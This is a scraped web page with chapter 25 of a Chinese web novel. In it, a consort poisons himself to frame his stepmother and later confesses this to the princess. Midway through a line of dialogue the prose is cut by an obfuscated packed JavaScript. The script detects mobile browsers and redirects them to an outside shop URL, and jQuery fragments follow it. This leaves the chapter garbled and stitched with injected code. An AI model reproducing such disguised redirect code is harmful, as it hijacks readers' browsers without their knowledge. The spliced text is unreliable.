默认冷灰
24号文字
方正启体

25.第 25 章

作者:妖刀客本书字数:K更新时间:
    门吱扭一声被推开,姬翎端着碗从门外进来。


    霍溪柳投目望去,起身迎接:“殿下何必亲自动手。”


    “万一再有人给你下毒怎么办?”姬翎弯唇一笑,“我特地让御医开了不太苦的药方,喝起来应该好些……”


    霍溪柳看着那黑漆漆的药汁,接过,一饮而尽……


    苦涩,后味却是甘甜的,与昨夜他喝下的药汁不一样。


    昨日,容舒郡主的侍女来了府上,说一切安排妥当。他虽面上不动,但背地里派人偷偷调查了姬翎的计划。


    她要派人假扮御医,当着众人的面给他诊脉?她好像对林玉环送来的药早有察觉,曾说过让他不要再喝。


    他知道,姬翎是在为他做打算,替他鸣不平。可他却贪心得很,想要更多怎么办?


    那便去赌,去算计,不惜一切代价……


    这是二十多年来霍溪柳对林玉环的第一次反击。他在药中下了毒喝下,甚至保险起见特意派人在药渣中也下了毒。这毒虽让他昨夜有些力不从心,好在姬翎并未察觉。


    而御医过来,替他诊脉,他只需要装作什么不知道,自有人站在他这边。


    原来,有人庇护的感觉是这样吗?


    “六郎,六郎?”


    霍溪柳被这一声声呼唤拉回现实,他看向一脸担心的女子,露出一笑:“我无事。”


    姬翎松了口气:“没事就好。”


    他心里忽然泛起一阵无名酸涩,牵着心口处抽搐。


    “今日我看明白了,整个霍府,怕是一个真心待你的都没有……”她叹了口气,“就怕霍丞相回来,也不站在你这边。”


    霍溪柳却盯着她,一言不发。


    “从前我只知道深宫险恶,原来这高门大户的弯弯绕绕更多。”


    霍溪柳忽轻唤道:“公主……”


    她一听,皱眉揶揄:“好端端的,怎么又叫起公主来了?不是说好只有你我二人时,不要叫得这么生分。”


    他张了张嘴,“阿拂”两个字像是堵在了喉间,怎么也喊不出声。面前满眼是他的女子,明媚张扬,真挚纯洁。


    可他光鲜亮丽的皮囊下,是满身的污泥。在泥潭里挣扎久了,早就被腌入味了。


    “好啦!”姬翎扯出一个微笑,“你好好休息,我还有些事要处理。”


    她说完便起身离开,连霍溪柳开口的机会都没给。


    冬日的风,到底是冷的。


    青瑶见姬翎心事重重的样子,问道:“殿下怎么了?”


    姬翎看了眼紧闭的房门:“青瑶,驸马他……好像有什么事在瞒着我。”


    青瑶询问:“那殿下要婢子去查查吗?”


    姬翎摇头:“不要……”


    或许,是不敢。


    她知道霍溪柳是个什么样的人,他既然瞒着他那定是有苦衷有理由的,她若是私自去查了,岂不是将他们之间的信任置于火烤。


    “既然殿下不让查了……”青瑶安慰道,“可不可以别再皱眉了。”


    姬翎连忙伸手摸了摸自己眉心,随即反驳道:“我哪有!”


    *


    霍居白回到府中时,夜色已浓。


    西苑内,霍溪柳与姬翎刚执起筷子,林玉环身边的侍女便来通报,道丞相已归,请公主与驸马移步正厅一叙。


    霍溪柳闻言便要起身,姬翎却左手一伸,稳稳按住了他的手背。她未曾抬眼,只对着门外淡声道:“回禀丞相,本宫与驸马正在用膳,不便前往。至于下毒之事……”她顿了顿,“凶手是谁,本宫相信丞相定会秉公严查,给驸马和本宫一个明明白白的交代!”


    门外侍女被她气势所慑,噤声退下。


    待门外那侍女离开,霍溪柳才开口:“为何不去?”


    “御医说这药劲大,你得小心些身体!”


    “就……只是如此?”


    “当然!”姬翎漫不经心地夹了口菜给他,“多吃些,补身子。”


    那霍居白估摸着也就是个和稀泥的角色,去了也没什么用。况且,她也不想再看林玉环自导自演,平白添堵!


    *


    正厅内,烛火通明,气压却低沉得骇人。


    霍居白端坐主位,面沉如水。林玉环紧挨着下首坐着,指尖无意识地绞着帕子。霍临川与徐凝香夫妇静立一旁,徐凝香微微垂首,手轻轻护着小腹。下人们屏息凝神,大气不敢出。


    侍女战战兢兢地回完话,厅内陷入一片死寂。林玉环的脸色在烛光下青白交错,难看至极。公主不仅不来,那“秉公处理”“给出交代”的话,更像两记无形的耳光,隔着院子扇在她脸上。


    霍居白缓缓转过视线,落在林玉环身上,那目光沉甸甸的。


    霍临川见状,立刻上前一步,急声道:“父亲!母亲主持中馈多年,向来慈爱宽厚,待兄弟们皆是一视同仁,怎可能行此恶毒之事?此事定有误会!”


    林玉环心头一缓,脸上立刻堆起混杂着冤屈与后怕的神情,拿起帕子按了按眼角:“老爷明鉴!自打午后听闻那骇人之事,妾身便如同五雷轰顶,立刻将身边近侍,小厨房一干人等都拘了起来,严加盘问。”


    她声音哽咽,却又强作镇定,“查了整整半日,终于……终于让妾身查出来了!”


    她刻意停顿,目光扫过厅中众人,才带着痛心疾首的语气继续道:“是妾身院里一个负责打扫的二等丫头,名唤春杏的。那丫头因前些日子犯了错被妾身罚了月钱,一直怀恨在心,竟不知从何处弄来些腌臜东西,混入了六郎的药渣里!妾身已将她捆了,关在柴房,听候老爷发落!”


    凶手是谁对霍居白而言根本不重要,他在乎的是如何将此事息事宁人。公主连面都不肯露,分明是生了气。他今日若没能给公主一个交代,他日闹到陛下面前得不偿失啊。


    官场上弯弯绕绕他见得多,内宅里的他没见过,说到底是态度的问题……


    朝林玉环发怒?责骂?还是别的?


    底下一片寂静,提着心朝霍居白望去。


    他语气平静,像是在算计着什么:“你身为当家主母,管教不严。身为母亲,却又未能照顾好子女。如今闹出了这般祸事,理应受罚。”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17047540|190119||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    老爷所言极是,妾身单凭老爷责罚!”林玉环掩面哭泣,一副甘愿受罚的样子。


    “那丫头害主,断不能留。”


    他话说一半,林玉环惊恐地瞪大了双眼:“老……老爷,那丫头……虽犯了糊涂,罪不至此。”


    霍居白重重拍了一下桌子:“你该庆幸她害的是我霍府的血脉,若伤的公主,我们整个霍府难辞其咎!”


    “她……”林玉环本想再说些什么,可看到霍居白脸上是从未有过的严肃,她吓到了。


    太仪公主与当今圣上不是一母同胞,甚至圣上还将公主嫁给霍溪柳一个废人,又怎么会真的关心公主……


    霍居白也是这么想的,可圣上对他时不时褒奖和夸赞,对霍溪柳更是特殊优待,这分明是沾了公主的光。甚至陛下今日还特意问了太仪公主近况,与其说是寒暄,更像是警告……


    “至于你……”霍居白重重叹了口气,“这管家权,暂由二姨娘掌权。”


    “老爷!”林玉环实在忍不住了,大喊道。


    成婚二十多年来,她坐稳了当家主母的位置从未变过。可如今,却因为霍溪柳一桩小事,就当她二十多年的心血拱手让人。


    若真如此,她以后在霍府如何立足!


    林玉环连忙道:“此事欠妥,姜妹妹十指不沾阳春水,这府上事情多,她怕是一时间应付不过来的!”


    她庆幸姜平婉没在,不然此刻怕是演一场谦虚戏码,再乐呵应下了。


    霍居白回绝:“此事,不得商量!”


    “老爷!”林玉环连忙将目光转向徐凝香,“不如将这掌家权给凝香如何?她年纪小,学东西快,办起事来也让人放心……”


    霍居白看向徐凝香,她连忙直起身子坐好。


    林玉环见状忙道:“而且,凝香如今已经坏了我们霍家的血脉!”


    霍居白闻言挑眉,惊喜道:“当真?”


    林玉环连忙点头:“今日御医来,亲口说的!”


    “那便按你说,府中事宜先交与凝香打理吧!”


    徐凝香激动地行了个礼:“儿媳定不负父亲母亲期望!”


    *


    正厅的消息传至西苑时,姬翎与霍溪柳正在房中下棋。


    妙人将刚才发生的事,绘声绘色地描述了一遍。


    姬翎目光仍落在棋盘上:“你父亲竟未偏袒你嫡母……”


    霍溪柳拿了一颗白棋,落下:“我那位父亲,从来都是利益为先。”


    “是啊,这般明事理,倒是叫人挑不出一点错。”


    霍溪柳见她迟迟未落子,朝她望去。烛火下的灯影昏暗,她似是在发呆。


    姬翎的声音像是在唠家常:“你觉得,那丫头真的是下毒之人吗?”


    他声音笃定:“不是。”


    姬翎闻言抬头,疑惑道:“你怎么知道?”


    “因为……”


    霍溪柳的声音很轻,几乎融进烛火细微的噼啪声里。他抬眼,目光沉静地望入姬翎骤然凝固的眼眸,将那枚拈在指间的白子,轻轻放回。


    “下毒之人,是我自己。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)